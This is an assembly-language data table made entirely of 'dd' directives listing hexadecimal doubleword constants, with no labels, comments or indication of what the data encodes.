		dd 0C1415908h, 0D1FF0000h, 10047E46h, 7E46D1FFh, 83FF0D04h
		dd 0C10000E0h, 46D1FF00h, 414F0D7Eh, 7E0A00C1h,	9F8DFF08h
		dd 0FFD4C5FFh, 401FECEh, 46D1FF10h, 0FF4F0D7Eh,	0A00E083h
		dd 0FF59087Eh, 0BB00E083h, 950F4508h, 8030F03h,	0C14159h
		dd 31FF1203h, 10047EA6h, 3D04330Fh, 0E083FFh, 0C6FF0005h
		dd 0D269FFE9h, 3BFF511Eh, 3900C245h, 0C5FF0017h, 90A139Ah
		dd 0C4FF0AB6h, 2000075h, 0E090730h, 0F280005h, 0AE22FF12h
		dd 0E0F284Bh, 0C4FF0A32h, 3D001D0Fh, 0FF2889FFh, 1DADDh
		dd 0C23D15h, 13AB0601h,	0C4FF0003h, 15000BDDh, 0DDFFCD75h
		dd 62D2FFC5h, 0AEDDFF19h, 0C4FF0AB6h, 15000BE1h, 0C5FFCD75h
		dd 0D262FFF1h, 0AEDDFF19h, 0C4FF0AB6h, 7DD1FF84h, 0C5FFCD75h
		dd 0A421FF94h, 0FF00C226h, 20010C5h, 88FF086Eh,	11C30C5h
		dd 2060100h, 5760730h, 14FFFC00h, 0C5FF2100h, 29FF01DAh
		dd 0FF210858h, 481CDAC1h, 1000B32h, 85828FFh, 0DAC1FF21h
		dd 84481Ch, 28D2FF30h, 0FF216F09h, 0D2FFDAC1h, 1C0E0928h
		dd 1DAC5FFh, 8582BFFh, 0DAC1FF21h, 0CEFF481Ch, 0B00000C8h
		dd 56200h, 2D10FF50h, 0FF086E02h, 1C30CD88h, 0C2380601h
		dd 140AFF00h, 452BFF1Fh, 0DEFF00C2h, 0DAFF0011h, 140A43F5h
		dd 1930020Dh, 0FF1FED79h, 0C2452Ah, 120200C1h, 0C6FF0AE5h
		dd 0B012473h, 1CAE23FFh, 24219848h, 23FF0B01h, 44481CAEh
		dd 0FF091D01h, 481CAE23h, 1242184h, 23FF091Dh, 1D481CAEh
		dd 1E330A32h, 0B7551h, 0FF071102h, 98F153Ah, 0FF18000Eh
		dd 9B01D3DFh, 11022C6Fh, 0DFFF1807h, 0C5FF01D3h, 90A13A2h
		dd 0C5FF2A56h, 0FF0A4239h, 0B3AC4h, 0DFFF0001h,	29C601D3h
		dd 0E911352Ch, 25C5FF2Ah, 0C4FF0A32h, 1B900CAh,	0A00BFF79h
		dd 0D3DFFF18h, 0A4C5FF01h, 1025815h, 6D00D407h,	1B92108h
		dd 1AFF09E8h, 10C47h, 6130100h,	0C004012h, 7010207h, 1A33FFh
		dd 0FFC509FFh, 601D40Ah, 2D1AFF03h, 7010258h, 1102000Fh
		dd 2108A407h, 0FF7901B9h, 0FF18D238h, 2A01D3DFh, 6BE2C5FFh
		dd 2108432Ch, 9E801B9h,	1020C5Fh, 2C300507h, 0D3DFFF18h
		dd 31C5FF01h, 2CD232FFh, 0C1FF3733h, 0C000049h,	23007D07h
		dd 0CAAC5FFh, 41037C07h, 4312020Ah, 0B7515h, 1D185FFh
		dd 1BFF2806h, 0E7C4FF2Dh, 1C2D8700h, 25A2D87h, 0D2FF252Dh
		dd 28FF7E46h, 0FF070CA5h, 2001B39h, 0C2E072Dh, 72D0207h
		dd 1701FFh, 48E090Ah, 0D2FF2D02h, 28FF7E46h, 0A62902A5h
		dd 0FF2D0204h, 0FF7E46D2h, 70CA528h, 0FFFECEFFh, 70C2D18h
		dd 16940FFh, 7290213h, 13016966h, 14788FFh, 2060100h, 64060122h
		dd 12FF4C13h, 70C01D2h,	0A130167h, 0FF2A5609h, 0A32A5C5h
		dd 37E5C4FFh, 1F010005h, 0C7412FFh, 0FFDED2FFh,	87FF4B86h
		dd 11023B8Dh, 0C0A13A6h, 0FFDED2FFh, 87FF4B86h,	2D0207A0h
		dd 7160207h, 8017B47h
		dd 0FF2A5617h, 19333C5h, 0C4FF0A13h, 1220073h, 0D95C5FFh
		dd 2D310003h, 4DDBFF4Eh, 1BC4FF2Ch, 1C2937h, 0A0B2529h
		dd 4DC5FF63h, 2D020D01h, 161F1C19h, 6A2E00E8h, 0A7290200h
		dd 1D252902h, 2E470902h, 0A7290279h, 0E81602h, 2A72902h
		dd 1F006A16h, 56096A16h, 2DCB2108h, 0E8161F1Ch,	6A161F00h
		dd 0A763FF09h, 0FFBD91BDh, 2902EBD2h, 0D3FF1C79h, 670601D7h
		dd 2491301h, 0BD91BD2Dh, 0CECEFF72h, 0FF2C0005h, 0C01D7DFh
		dd 72D0207h, 192D0244h,	1E84FFh, 0CEFF5915h, 2C0005CEh
		dd 1D7DFFFh, 2D02070Ch,	12D0207h, 6010044h, 39B062FFh
		dd 1A0001h, 1000526h, 8010000h,	8015745h, 32375Ch, 25290250h
		dd 4C001AC9h, 112CDAFFh, 7160207h, 1FF6FFh, 2071102h, 1602072Dh
		dd 6BFFAD07h, 51708D2h,	0FF060100h, 0A001862h, 0C6FF1D09h
		dd 2070CABh, 175E0716h,	2CD239FFh, 1C192D02h, 25000A8h
		dd 1AC92529h, 1EC4C00h,	54A2B2Ah, 3831FF00h, 630A1301h
		dd 3EC5FF23h, 2CD23BFFh, 0FFD481FFh, 0FF4CD481h, 5A112C22h
		dd 1C191102h, 2D00000Bh, 75151C19h, 601000Bh, 0D485FF18h
		dd 0CEC5FF01h, 2D0200ECh, 722D5425h, 2C000532h,	23FF090Ah
		dd 85FF18D2h, 0C5FF01D4h, 3DC6FF87h, 56D481FFh,	0C6FF1301h
		dd 1D192D54h, 0FF5DC6FFh, 601D589h, 0D481FF18h,	49130134h
		dd 9FBD2902h, 206011Ch,	0C22F070Fh, 0FF060100h,	120B619h
		dd 7229023Bh, 526001Ah,	0FF009B00h, 111F9C4h, 0FF140F09h
		dd 162CD238h, 1A01801h,	0EC3BC5FFh, 20D0100h, 11C190Fh
		dd 5D18FF31h, 9FF0005h,	2D0207A0h, 0E38DFF07h, 6010005h
		dd 23B783FFh, 0FF19C5FFh, 312CD238h, 96FF4E2Dh,	0ADA32C76h
		dd 19C1FF37h, 0FF207828h, 0A2C2CC7h, 39FF1202h,	2C2009D2h
		dd 464C09h, 2DC1FF45h, 0E1030D14h, 3F7E0Ah, 38EC4FFh, 0CA528FFh
		dd 0C1D3AFFh, 91301C1h,	14C5FF20h, 1D090A00h, 0AE81FFC7h
		dd 64C5FFh, 3000395h, 0ADD1FF00h, 3EA2AFFh, 23FF1200h
		dd 3909D2h, 3000395h, 284B52A8h, 4DD9FFh, 0FF120003h, 0FF09D223h
		dd 0F6FFC531h, 3950002h, 0BF000300h, 3EA2AFFh, 8000000h
		dd 4C090F28h, 2D83FFh, 0FF060304h, 8011312h, 0FF200917h
		dd 13FF2C21h, 100F19D2h, 4A4D1FFh, 0FF3B0D03h, 10042C33h
		dd 15A4DDFFh, 42C8EFFh,	3FF0003h, 423232Dh, 0FF000B03h
		dd 0A0F2C21h, 576EFh, 0B043D36h, 9061400h, 54A0Fh, 0FF511E19h
		dd 0C002E0Ah, 0FFAFFF07h, 0FF232D03h, 29005CC5h, 1004401h
		dd 197DEE06h, 1000153h,	0CD751500h, 0B1072987h,	4170801h
		dd 25A2902h, 5C1C1929h,	0D140127h, 4012702h, 0E1012702h
		dd 59087E0Ah, 1D00C141h, 1270200h, 0FF7E0AE1h, 70CA528h
		dd 0F6FFh, 0E1012702h, 28FF7E0Ah, 12702A5h, 4693070Ch
		dd 0C5FFFA2Ch, 21130179h, 1273Dh, 4012700h, 2408A814h
		dd 0C5FF6302h, 0D228FF00h, 26210854h, 0D3000127h, 2E00E829h
		dd 0ED03006Ah, 1270204h, 8A81404h, 47090224h, 4703792Eh
		dd 300E82Eh, 6A2E47h, 96A29D3h,	26210856h, 0D3000127h
		dd 0D300E829h, 0FF096A29h, 2715A711h, 27034901h, 0C1FF8101h
		dd 4F070C2Ch, 27022C73h, 27033B01h, 0FF033B01h,	0A43DAC0h
		dd 3BA508FFh, 70C0056h,	1FF0F09h, 1708013Fh, 21080127h
		dd 12712h, 6D000000h, 21080127h, 1276Dh, 0B7211h, 6D180601h
		dd 0C5FF0127h, 2040065h, 0D140127h, 2 dup(4012702h), 0FF380D0Ch
		dd 6D18D213h, 0FF150127h, 51E33h, 0ED090A2Ch, 4AC5FF2Ah
		dd 6D181301h, 0C5FF0127h, 0C0050DBh, 310F0907h,	100E2FFh
		dd 1E6FF06h, 0C011708h,	0C5FFCD75h, 2808179Dh, 0FF1D090Fh
		dd 29023EC6h, 0C6FF1D19h, 1161228h, 2A015318h, 1290204h
		dd 6010044h, 0FFA440FFh, 6918D239h, 0E2084E29h,	837332Ch
		dd 0FF157828h, 2E0Ah, 0C6FF1D96h, 3000B6Ah, 114FF06h, 4001708h
		dd 500003h, 0FF005E15h,	6C11FF9Eh, 170801E2h, 0CC35104h
		dd 0CECEFF07h, 0FF230092h, 92FFC5h, 1000569h, 783FF06h
		dd 1B800h, 0D1401B8h, 0FF251602h, 3F7E46D2h, 45FB200h
		dd 0D2FF1602h, 28FF7E46h, 28070CA5h, 0FF1914FFh, 601D0C5h
		dd 1602CE56h, 7110207h,	2009212h, 46D2FF16h, 9DD2FF7Eh
		dd 57615h, 0CEFF0601h, 0D800920Fh, 921FC5FFh, 2A73F00h
		dd 46D2FF16h, 8DFF087Eh, 65C4FF9Fh, 88FF3D01h, 11C16F1h
		dd 7290206h, 0FF2AB2FCh, 2C1EC0C5h, 0C3153733h,	0FF1D9600h
		dd 1B9605C6h, 2CD230FFh, 7FFF0064h, 1E190005h, 1DD551h
		dd 0D112070Ch, 0E0900h,	1F2A00h, 16020601h, 23FFD707h
		dd 280F19D2h, 1BFF120Fh, 7F0F09D2h, 0D110C5FFh,	2070C00h
		dd 20E0716h, 0D8FF0711h, 0C639FFBFh, 0CA0336D4h, 0FF11030Eh
		dd 70C5FD2h, 69071602h,	1000569h, 0A594FF06h, 7113820h
		dd 0FF071602h, 5FD8Dh, 17A40601h, 86FF4E16h, 37332C79h
		dd 4C3DC1FFh, 32000BBh,	9ACEFF00h, 0F000358h, 0DB00D51Ch
		dd 99C539FFh, 3030Dh, 0D1FF0003h, 0C6FF1DADh, 1D52h, 1DAED9FFh
		dd 44C6FFh, 0FF060304h,	8011BD0h, 8B200917h, 19D21BFFh
		dd 47A6D9FFh, 3000Bh, 23130143h, 5E1523h, 5051Bh, 0FF511E19h
		dd 0C001D9Eh, 23000207h, 59C5FFh, 0D2FF1102h, 4E11034Bh
		dd 31301B1h, 4E161400h,	0A1301A3h, 0BDDC4FFh, 22FF0100h
		dd 0CEFF079Ah, 711029Ah, 2071602h, 440116h, 0D0FF0601h
		dd 2231FFBDh, 15340336h, 526009Bh, 8010000h, 8015745h
		dd 0FF03375Ch, 1B65D36Bh, 33FF4CF7h, 716022Ch, 39ACEFFh
		dd 1F230092h, 2060100h,	34A80716h, 0E170801h, 0FF16020Dh
		dd 34BD2h, 12442108h, 0FF2239FFh, 0FF039ACEh, 1B65D36Bh
		dd 15C4CA2h, 11381801h,	0B138FF01h, 1840F09h, 4630A13h
		dd 1D191602h, 0F50C6FFh, 1301471Dh, 1C191602h, 5818070Ch
		dd 304008Eh, 0FFA7D1FFh, 3D01D001h, 2DC5FF45h, 16020601h
		dd 11026007h, 16171707h, 26001ABDh, 9010005h, 2C4BBB0Fh
		dd 0C8090111h, 0FF9ACEFFh, 54162D08h, 31A8F6FFh, 55D18FFh
		dd 0A009FF00h, 54807h, 1A90601h, 0C5FF1708h, 142C4BCEh
		dd 771F4E16h, 0FF37332Ch, 4CF105C1h, 20000053h,	8002009h
		dd 4B120F28h, 0FF1C0F28h, 0C5FF2C8Dh, 2808007Ch, 12DC1FFh
		dd 0B3D00h, 28080000h, 3000B57h, 4030403h, 39280803h, 95003909h
		dd 30003h, 4DD9FFh, 0FF120003h,	0FF09D223h, 0FF1BC531h
		dd 0FF242D09h, 3EA2Ah, 0FFBF0003h, 3EA2Ah, 14060300h, 42D09FFh
		dd 3B0D0F03h, 1004A18Bh, 0FF4BC1FFh, 0FF662C2Bh, 3002DC7h
		dd 3B0D0304h, 4BBF280Eh, 0DDFF0003h, 311004A4h,	21FF3B0Dh
		dd 304002Ch, 4005D00h, 0FF000B03h, 0FF3D9ACEh, 0D1FF2C2Bh
		dd 9ACEFF22h, 0FF968B3Dh, 5FCDDh, 0B043D36h, 9061400h
		dd 5F8DDh, 0FF5B1E19h, 5FF01h, 56215h, 30D0067h, 9BC4FF00h
		dd 62060303h, 5D970005h, 30D00h, 3A7C4FFh, 0D9FF1004h
		dd 0FF10461Eh, 4003A6D9h, 0D9FF0303h, 0A6DDFFA6h, 150E0304h
		dd 84000562h, 30D00h, 31EC6FFh,	2AFF3F03h, 360003EAh, 28C6FF00h
		dd 3040190h, 1E330B1Fh,	8415005Bh, 0CEFF001Dh, 3D0005FFh
		dd 8B030E2Bh, 1F0E0906h, 2138FF00h, 9000526h
		dd 0BF285870h, 5FFCEFFh, 0FF190E00h, 0FF4CAEC5h, 0FF00FFCEh
		dd 5FFCEh, 30CC5FFh, 0FF060306h, 0FF0B0CFEh, 158B86C4h
		dd 0FFCEFF5Ch, 50005h, 0B16800h, 0FF000508h, 30CC5h, 8CFF8E48h
		dd 0FF0603B5h, 526E138h, 0FF2F2800h, 28085928h,	0EC121D2Fh
		dd 0FFCEFF03h, 0B17A0005h, 5085C00h, 313C000h, 49ED4800h
		dd 0D9FF0303h, 0FF0A32AEh, 11E28C6h, 0C3511E33h, 3AFF070Ch
		dd 0C5FF230Ch, 1100B12Bh, 1156FF07h, 2A56092Ch,	322DC5FFh
		dd 6CC4FF0Ah, 0D2FF0100h, 601001Dh, 14996FFh, 1C111708h
		dd 3B010001h, 1C9F2902h, 0FF060100h, 290200E2h,	1A1C19h
		dd 0C5FF0100h, 4E291795h, 29024249h, 0ACD2FFh, 54A623FFh
		dd 227C6FFh, 2000122h, 20D0122h, 1FA629h, 49C5FF01h, 29020400h
		dd 29C5FF5Ah, 19290242h, 0D111FF1Ch, 8C5FF01h, 0FF180342h
		dd 2A01D111h, 0FF180B1Fh, 2042D169h, 0D5C5FF01h, 0FF2D32FFh
		dd 2914D169h, 0D169FF9Fh, 0FF722938h, 5FECEh, 0DFC5FF01h
		dd 22D32FFh, 2040122h, 80155429h, 5FECEFFh, 0C5FF0100h
		dd 2D32FFE3h, 15012202h, 5FE85FFh, 0C5FF0100h, 2202139Bh
		dd 8DFF1501h, 10005FEh,	13B3C5FFh, 15012202h, 100057Dh
		dd 13ABC5FFh, 8012202h,	8635E21h, 0D709FF21h, 25E0001h
		dd 22FF0122h, 582108AEh, 0FF210863h, 1D709h, 1220258h
		dd 8AE22FFh, 0D719FF21h, 22000001h, 19FF0001h, 24001D7h
		dd 22FF0122h, 0FF2108AEh, 1D701h, 12200h, 1D701FFh, 1220240h
		dd 3DAE22FFh, 271188FFh, 3B010001h, 0BD912902h,	0BD91BD91h
		dd 18CC0786h, 33FF4944h, 7A070C2Dh, 5FECEFFh, 0C5FF0100h
		dd 70C005Dh, 0FECEFF8Eh, 0FF010005h, 0C007BC5h,	57607h
		dd 11C5FF01h, 0C2D33FFh, 0CEFF7507h, 10005FEh, 0FF0FC5FFh
		dd 70C2D33h, 6012702h, 1D762FFh, 4C090213h, 532D87FFh
		dd 20D1401h, 1A7229h, 1000526h,	1220206h, 2 dup(1270206h)
		dd 7290206h, 15015318h,	7290242h, 801D675h, 6F192917h
		dd 0D169FF18h, 2D30FFh,	25A117Ah, 8542511h, 1C293821h
		dd 19290204h, 0D2FF2938h, 2A0190C4h, 0FFDBC5FFh, 29692D31h
		dd 1A72BDh, 1000526h, 2902042Ah, 1004401h, 0AB81FF06h
		dd 38AD4E29h, 0FF0A1301h, 82FF2BC6h, 0C7C6FFC6h, 0C31537ADh
		dd 0FF1D9600h, 0AB9605C6h, 0FEC5FF13h, 0EEDD0005h, 59190005h
		dd 542FFD7h, 0C3000000h, 175E070Ch, 0FF0AC5FFh,	8002D31h
		dd 15745h, 4B040C00h, 0FF7CD2FFh, 1F2D88h, 38FF070Ch, 100054Dh
		dd 21FF2108h, 200001DFh, 98CECEFFh, 1008442Ch, 210829h
		dd 2045F12h, 0E252583h,	3C4FF01h, 8000034h, 0DDFFBF28h
		dd 87706A6h, 1BF45h, 83000014h,	42000C54h, 0D070100h, 1C197302h
		dd 10005FCh, 0CC5FF2Ah,	8547300h, 0DF21FF21h, 0FF200001h
		dd 0FF2C6A3Bh, 1DD01h, 0FFBF2808h, 7706A6DDh, 8291008h
		dd 5F120021h, 25830204h, 0FF010E25h, 8A0066C4h,	1004401h
		dd 16179906h, 23B011Ch,	91C9F6Bh, 141A1547h, 6B020000h
		dd 73030B07h, 1732525h,	46E0206h, 4C198A02h, 18004B14h
		dd 1D8DDFFh, 88D1FF04h,	76B0239h, 74CD38FFh, 88FF0005h
		dd 0D1FF8125h, 0E21082Fh, 2045F12h, 0E25256Ch, 10001h
		dd 83000014h, 70C54h, 1000601h,	7010004h, 1973020Dh, 5FC1Ch
		dd 0C5FF2A01h, 54730050h, 90E2108h, 141A1547h, 8D020000h
		dd 6C020B07h, 3E020454h, 7010004h, 0FF086E02h, 1C8DC188h
		dd 0C1FF2108h, 0C1FF1CDCh, 0E2525DCh, 10001h, 83000014h
		dd 70C54h, 6B020601h, 4010007h,	0D070100h, 1C197302h, 10005FCh
		dd 0BEC5FF2Ah, 8547302h, 0DCC1FF21h, 141Ch, 0B078D02h
		dd 4548D02h, 43E02h, 6E020701h,	39FF152Ah, 10005FBh, 0CD38FF06h
		dd 0FF000574h, 1C8DC588h, 10001h, 140001h, 4548D00h, 1F548302h
		dd 70C0100h, 18078D02h,	1DD29FFh, 6B02070Ch, 4010007h
		dd 0D070100h, 1C197302h, 10005FCh, 0AAC5FF2Ah, 2A547302h
		dd 4FC5FFh, 1DCC5FFh, 0FF1B407Bh, 0FF08AE22h, 1C8D3988h
		dd 14200001h, 258D020Dh, 0EA8D0265h, 6A8D0204h,	41718D02h
		dd 8D020400h, 64EBD2FFh, 0FF01D2FFh, 8D0236C6h,	258D026Ah
		dd 0DB29FF91h, 8D020401h, 618D025Ah, 0FF3D01FAh, 831A2889h
		dd 46D391Ch, 6010005h, 74CD38FFh, 2200005h, 38FF070Fh
		dd 526D1h, 0FF060100h, 526D138h, 6010000h, 0A2538FFh, 2041409h
		dd 16025A16h, 6B023671h, 78302A7h, 18071602h, 72D0C1FFh
		dd 10005E4h, 0AD1BFF06h, 0E44539FFh, 6010005h, 0A2538FFh
		dd 220156Eh, 38FF078Dh,	526D1h,	0A3060100h, 5E120A00h
		dd 38060100h, 62D3BFFh,	0FF078D02h, 526D138h, 6010000h
		dd 3B0BFFh, 25A1642h, 1A7216h, 1000526h, 7830206h, 18071602h
		dd 72D0C1FFh, 10005E4h,	1A21206h, 51708h, 38FF0601h, 86E0A25h
		dd 2E1588FFh, 0DD19FF79h, 19FF0001h, 141401DDh,	2573020Dh
		dd 718D0265h, 9FFF08h, 71730239h, 2040041h, 0EBD2FF73h
		dd 1D2FF64h, 5A730204h,	28617302h, 6A8D0204h, 0FF917302h
		dd 574F1CEh, 8D020400h,	7173026Ah, 1580041h, 7173021Ah
		dd 6AFD0041h, 41717302h, 1A015800h, 91257302h, 1DB29FFh
		dd 5A730204h, 0D2FF7302h, 0D203FFC4h, 73020401h, 100019Fh
		dd 198D020Dh, 20D0E1Ch,	4171258Dh, 1429FF14h, 2040C0Eh
		dd 70C5A8Dh, 26D138FFh,	1000005h, 0ADB1506h, 453BFF12h
		dd 10005E4h, 42007706h,	14010005h, 0ADB7E06h, 4509FF12h
		dd 10005E4h, 0CEFF0614h, 614DB0Fh, 0FF077302h, 526D138h
		dd 6010000h, 3ED2FFh, 3BFF120Ah, 5E445h, 0C5FF0601h, 542003Eh
		dd 6140100h, 0FF005655h, 0FF07A0DDh, 5261138h, 8D020D00h
		dd 16025A25h, 26001A72h, 0A76B0005h, 2077302h, 0FF180773h
		dd 0E472D0C1h, 6010005h, 195028FFh, 5E47211h, 0FF060100h
		dd 6E0A2538h, 0F9D1FF15h, 6010005h, 0A005640h, 0D9FF156Eh
		dd 10005F9h, 0A134206h,	453BFF12h, 1000587h, 42004B06h
		dd 2071602h, 38FF078Dh,	0F9C1FF2Dh, 0D7060100h,	90A005Fh
		dd 2F154AFFh, 1000587h,	0A008106h, 16020609h, 7216025Ah
		dd 526001Ah, 2A76B00h, 16020783h, 0C1FF1807h, 58772D0h
		dd 0FF060100h, 195122h,	1000568h, 0D138FF06h, 526h, 5F100601h
		dd 5E120A00h, 0FF060100h, 6003F1Bh, 0FF078D02h,	526D138h
		dd 6010000h, 3F39FFh, 25A1642h,	1A7216h, 1000526h, 7830206h
		dd 18071602h, 72D0C1FFh, 1000587h, 0FF4FFF06h, 17080156h
		dd 7160200h, 6FD2h, 93060100h, 0F41006Fh, 3EBD2FFh, 1CDCC1FFh
		dd 25DCC1FFh, 0D2FF0E25h, 120E03EBh, 6C02045Fh,	910E2525h
		dd 1A72BDh, 1000526h, 18A0204h,	6010044h, 157FF80h, 4E8A1708h
		dd 0FF130181h, 453D0588h, 0FF881257h, 80EA6DDh,	5F120021h
		dd 25830204h, 4010E25h,	49D9FF10h, 0D42D20FFh, 0FF0837ADh
		dd 54D10h, 0B4513FFh, 28080000h, 3042357h, 2CD0F806h, 5FC66h
		dd 6C63FFDDh, 8017E1Fh,	44D0417h, 201203h, 0D2FF4B4Bh
		dd 511E3C7Ch, 0E4070CC3h, 232D22FFh, 0FFE9C5FFh, 11FF2D22h
		dd 10001D7h, 2 dup(1000100h), 0D769FF00h, 4F012202h
		dd 0D769FF21h, 29370000h, 69FF1807h, 5742FD7h, 5FB00h
		dd 56080601h, 47090200h, 5FB792Eh, 0FF060100h, 9006F92h
		dd 0FB792E47h, 6010005h, 90A00F9h, 1792E47h, 6011C19h
		dd 0FB001D84h, 2B3D0005h, 47090A0Eh, 2214792Eh,	0FF582B01h
		dd 16D88h, 1D840601h, 5FB00h, 0A0E2B3Dh, 792E4709h, 2B012214h
		dd 27023658h, 14120201h, 0DDFF2108h, 0FF0001D6h, 1D711h
		dd 1D6D9FFh, 10F00h, 1D6D1FFh, 1223800h, 160C5FFh, 0C4FF0A13h
		dd 0D1FF00F6h, 5E0001D6h, 0D2FF2EA5h, 10FA511h,	0D719FF00h
		dd 2EA51401h, 0A511D2FFh, 1D6D9FFh, 2EA54400h, 0A511D2FFh
		dd 1D711FFh, 0D701FF00h, 2EA51401h, 0A511D2FFh,	1D6DDFFh
		dd 2EA55800h, 0A511D2FFh, 19FF185Eh, 2A2A01D7h,	264152Ah
		dd 0E2060122h, 22170801h, 40C5FF01h, 330A1301h,	0C31537h
		dd 0C6FF1D96h, 0B059605h, 6600602Ch, 1E190090h,	38C004Dh
		dd 0E102455h, 1003AA12h, 6220090Eh, 0FF170801h,	1004A619h
		dd 0D1FF000Eh, 0E1024FCh, 0C5FF2323h, 0D231FF0Ah, 0FF1D1219h
		dd 0C6FFB2C6h, 235B04B5h, 0C5FF2323h, 80143D1h,	490E17h
		dd 98F0920h, 1219000Eh,	484728FFh, 20280815h, 0E098F09h
		dd 0FF121900h, 0FF484728h, 2323AE6Bh, 1476415h,	28FF1219h
		dd 9FF4847h, 0D231FFAEh, 0E098F09h, 0FF121900h,	1D484728h
		dd 1EA90A32h, 1A78EEDCh, 2E070C00h, 9BC5FF17h, 0DAD2FF3Fh
		dd 0C0A4331h, 1B0ED2FFh, 0A6C4020Dh, 1D1F1A1Fh,	3E02392Bh
		dd 3E7C2108h, 0C5FF2A23h, 0FF0A32A0h, 54C4h, 38FF0601h
		dd 100054Dh, 1138FF06h,	1000552h, 81FF2108h, 0D232FFC3h
		dd 2B3E7C18h, 0C1FF1844h, 0FF144EC4h, 0FF2CD21Ah, 2BFF01C4h
		dd 601002Dh, 2602FFh, 0E82EA1h,	88140401h, 201F3E02h, 7C180601h
		dd 0F0E2B3Eh, 0D232FF09h, 2B3E7C18h, 0C1FF1844h, 0FF314EC4h
		dd 0FF2CD21Bh, 35D8E9C4h, 0B01h, 0C000601h, 3E000B07h
		dd 5762Bh, 18D232FFh, 442B3E7Ch, 0C4C1FF18h, 1BFF4F4Eh
		dd 0C4FF2CD2h, 0D3E0040h, 1C19C402h, 0C402042Ah, 1004401h
		dd 5932FF06h, 0FF3DCC19h, 0FF1F9988h, 0FF0C7412h, 86FFDED2h
		dd 0AD87FF4Bh, 0FF01AC1Ch, 6018786h, 0BEC5FF2Eh, 6F20213h
		dd 40FF9EFFh, 2F7E0601h, 70C1311h, 56938FFh, 70C0100h
		dd 200471Ah, 88FF3DF2h,	33003EE5h, 8786FF01h, 4AFF0601h
		dd 60140FFh, 3E0213ABh,	0CF2020Dh, 4B3607h, 1C085FFh, 100001Fh
		dd 3E7C1806h, 552382Bh,	2040100h, 424C19C4h, 0E9016221h
		dd 1622108h, 9FC53700h,	49010001h, 0C040A00h, 25C4310Ch
		dd 401B3A86h, 0D2FFC502h, 5EC4FF5Fh, 0C4020401h, 929FF91h
		dd 412222FFh, 0C0C040Ah, 503E699Ch, 0C502401Bh,	0FF5FD2FFh
		dd 10113C4h, 0D7FC809h,	7125C502h, 0F4B1441h, 2A73F6Eh
		dd 89FF25C4h, 4C1201C0h, 36711127h, 1202F202h, 25A63BFFh
		dd 1C089FFh, 0F7FF4C12h, 20401D3h, 4BD2FFC4h, 55200h, 0C9ACEFFh
		dd 0FF091B40h, 0FF25A63Bh, 901C089h, 0D38BFF4Ch, 0C4020401h
		dd 4BD2FFh, 0FF000552h,	400C9ACEh, 3BFF091Bh, 0C5FF25A6h
		dd 4C0901C4h, 18011152h, 0C4F1CEFFh, 0DDFF1801h, 232A01C4h
		dd 104C5FFh, 8641708h, 16588FFh, 19D3800h, 9D020D14h, 9D020401h
		dd 0C5024001h, 9D0304EAh, 88093F01h, 81019D38h,	38A600FFh
		dd 93F019Dh, 19D3888h, 0A613FF81h, 3F019D38h, 19D3888h
		dd 0C603FF81h, 100010Ch, 61C5020Dh, 5AA620FFh, 4019D02h
		dd 3F019D03h, 25C50239h, 49019D38h, 0D1FF0E4Bh,	19D022Eh
		dd 0FF1D7A3Fh, 9D3895C6h, 1DA23F01h, 6288C6FFh,	0FF100401h
		dd 490C2ED1h, 14010E4Bh, 61C5020Dh, 6221083Dh, 72160001h
		dd 8201000Bh, 5F31FF2Bh, 6019D00h, 0D238FF28h, 1000B19h
		dd 31FF2B82h, 0CAFF005Fh, 8011306h, 0D2FFC417h,	61D144Bh
		dd 0FF1538FFh, 60A9ACEh, 6CAFF02h, 0D2FFC402h, 552004Bh
		dd 66070C00h, 26CF7FFh,	3BFF07C5h, 20D002Bh, 3D59CAFFh
		dd 601000Bh, 1869C09h, 0CECEFF06h, 19D239FFh, 6D060148h
		dd 1000504h, 42FFD506h,	170801h, 1000526h, 375C08h, 3801000Bh
		dd 25C5020Dh, 0EAC50265h, 0B3D15h, 207C502h, 43FF07C5h
		dd 19D239FFh, 6D060148h, 1000504h, 4211FF06h, 26001A19h
		dd 8010005h, 204375Ch, 28D2FFC5h, 1000BA2h, 2AA0C6FFh
		dd 0FF18442Bh, 0FF4EC4C1h, 0FF2C1C38h, 0CFFF29C6h, 33CDC6FFh
		dd 21C1FF37h, 2E86FFh, 604C9600h, 56857828h, 2AFF0FD8h
		dd 100003EAh, 29FF380Fh, 3030EAEh, 6030000h, 40017ABh
		dd 4370003h, 5461503h, 43D3600h, 614000Bh, 0A3DD09h, 54D1E19h
		dd 337A100h, 3710C800h,	0A321D48h, 84D1E33h, 1AFF0005h
		dd 30029h, 3FF001Fh, 9B230029h,	0C8000F37h, 0FF233756h
		dd 1AD9C5h, 0F5DAFF0Fh,	35D0A43h, 701E330Ah, 1F00050Eh
		dd 0A90AC70Bh, 2C0E701Eh, 0E2FF2012h, 43311301h, 0AC7140Ah
		dd 0FF4D1EA9h, 0FF2C1DD2h, 1E3CE4D1h, 7D47C1FFh, 5, 772D08FFh
		dd 5FF1CEFFh, 450D0000h, 2B47C5FFh, 5DD9FFh, 0FF18D2FFh
		dd 5F621h, 5000005h, 57D0000h, 1D060100h, 0FF08001Ah, 135F588h
		dd 1353100h, 35020D14h,	31210801h, 9470135h, 0CEC528FFh
		dd 526009Bh, 60100h, 100050Fh, 12202108h, 4938FF8Fh, 0FFC70005h
		dd 0C5FFC581h, 0D3DBFFF0h, 0DBFF174Eh, 0C5FF01EBh, 4EB4FFF4h
		dd 201F0167h, 202C00h, 2C00202Ch, 8EFF0184h, 0B622FF3Dh
		dd 946CC0FFh, 0F38ED2FFh, 8ED2FFBAh, 1358B15h, 50006h
		dd 15000526h, 0C121FF20h, 5, 0FF060124h, 0BFECEh, 20C6FFF2h
		dd 0D38F202h, 2108F202h, 1C021FFh, 56800h, 2040000h, 8013FF2h
		dd 0FF090Fh, 60186A6h, 5C121FFh, 0C1FF0000h, 6CC0FF6Ch
		dd 0C6FF000Bh, 1D070CB8h, 552001Dh, 19001F00h, 0F1CEFF58h
		dd 1000135h, 0C7FF0000h, 0C713FF2Dh, 9021311h, 2F210840h
		dd 0FFF1843Eh, 2F21089Eh, 5839FF3Eh, 0FFE2C5FFh, 0FFCC07B4h
		dd 13018E40h, 220C6FFh,	20D143Eh, 82C6FF3Eh, 8EFF070Ch
		dd 11620749h, 1351708h,	0CEFF2108h, 135F1h, 35F1CEFFh
		dd 45082301h, 11C1957h,	0C4FF6406h, 64150176h, 0C1FF0939h
		dd 451946C5h, 0A8AEC5FFh, 5BB7201h, 46A80000h, 0C5FF4519h
		dd 3510FFAEh, 11FF6F12h, 5F3h, 7938FF2Ch, 0FF000005h, 20FF49DDh
		dd 0FF33D42Dh, 1FF08D2h, 8D2FF5Ch, 574CBh, 6 dup(50005h)
